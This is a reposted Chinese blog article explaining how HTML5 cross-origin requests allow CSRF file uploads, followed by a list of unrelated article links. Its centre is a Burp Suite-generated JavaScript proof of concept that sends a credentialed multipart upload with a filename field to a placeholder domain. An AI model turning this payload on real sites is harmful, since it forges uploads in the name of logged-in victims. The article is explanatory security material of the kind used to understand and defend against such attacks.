博客
关于我
利用csrf漏洞上传文件
阅读量:157 次
发布时间:2019-02-28

本文共 1941 字,大约阅读时间需要 6 分钟。

HTML5带来了许多有趣的新特性,其中一个是跨域资源共享(CORS)。在之前的版本中,由于同源策略的限制,黑客无法通过JavaScript直接访问其他域的资源。然而,随着XSS等安全问题的普遍存在,同源策略确实为网络安全带来了诸多好处。然而,CORS在这里似乎成为了一把双刃剑。

在文件上传过程中,传统的CSRF防护机制并不足以阻止恶意请求,因为文件上传通常会自动添加filename参数,这使得普通的表单提交难以模拟真实的文件上传请求。但是,随着HTML5的普及,这种情况正在发生变化。

CORS允许浏览器在不受同源策略限制的情况下,进行跨域请求。这意味着即使用户访问了恶意页面,攻击者也无需用户交互,完全可以通过JavaScript发送带有filename参数的跨域请求,从而实施CSRF攻击。

下面的Burp Suite生成的证明代码(PoC)展示了这一点:

function submitRequest() {    var xhr = new XMLHttpRequest();    xhr.open("POST", "https://example.com/new_file.html", true);    xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");    xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");    xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------256672629917035");    xhr.withCredentials = "true";    var body = "-----------------------------256672629917035\r\n"        + "Content-Disposition: form-data; name=\"message\"\r\n"        + "\r\n"        + "\r\n"        + "-----------------------------256672629917035\r\n"        + "Content-Disposition: form-data; name=\"backPage\"\r\n"        + "\r\n"        + "test\r\n"        + "-----------------------------256672629917035\r\n"        + "Content-Disposition: form-data; name=\"dataType\"\r\n"        + "\r\n"        + "test  \r\n"        + "-----------------------------256672629917035\r\n"        + "Content-Disposition: form-data; name=\"file\"; filename=\"test2.txt\"\r\n"        + "Content-Type: text/plain\r\n"        + "\r\n"        + "test3\r\n"        + "-----------------------------256672629917035--\r\n";    var aBody = new Uint8Array(body.length);    for (var i = 0; i < aBody.length; i++)        aBody[i] = body.charCodeAt(i);    xhr.send(new Blob([aBody]));}

这个代码通过创建一个 XMLHttpRequest 对象,打开一个跨域的POST请求,并模拟了一个带有filename参数的文件上传请求。攻击者只需在受害者访问恶意页面时,自动触发这个请求,就能完成CSRF攻击。

虽然HTML5的CORS带来了便利,但也为网络安全带来了新的挑战。开发者需要意识到这一点,采取适当的防护措施,防止被恶意利用。

转载地址:http://yjgc.baihongyu.com/

你可能感兴趣的文章
msf
查看>>
MSP430F149学习之路——SPI
查看>>
msp430入门编程45
查看>>
MSSQL数据库查询优化(一)
查看>>
MSSQL数据库迁移到Oracle(二)
查看>>
MSSQL日期格式转换函数(使用CONVERT)
查看>>
MSTP多生成树协议(第二课)
查看>>
MSTP是什么?有哪些专有名词?
查看>>
Mstsc 远程桌面链接 And 网络映射
查看>>
Myeclipse常用快捷键
查看>>
MyEclipse更改项目名web发布名字不改问题
查看>>
MyEclipse用(JDBC)连接SQL出现的问题~
查看>>
mt-datetime-picker type="date" 时间格式 bug
查看>>
myeclipse的新建severlet不见解决方法
查看>>
MyEclipse设置当前行背景颜色、选中单词前景色、背景色
查看>>
Mtab书签导航程序 LinkStore/getIcon SQL注入漏洞复现
查看>>
myeclipse配置springmvc教程
查看>>
MyEclipse配置SVN
查看>>
MTCNN 人脸检测
查看>>
MyEcplise中SpringBoot怎样定制启动banner?
查看>>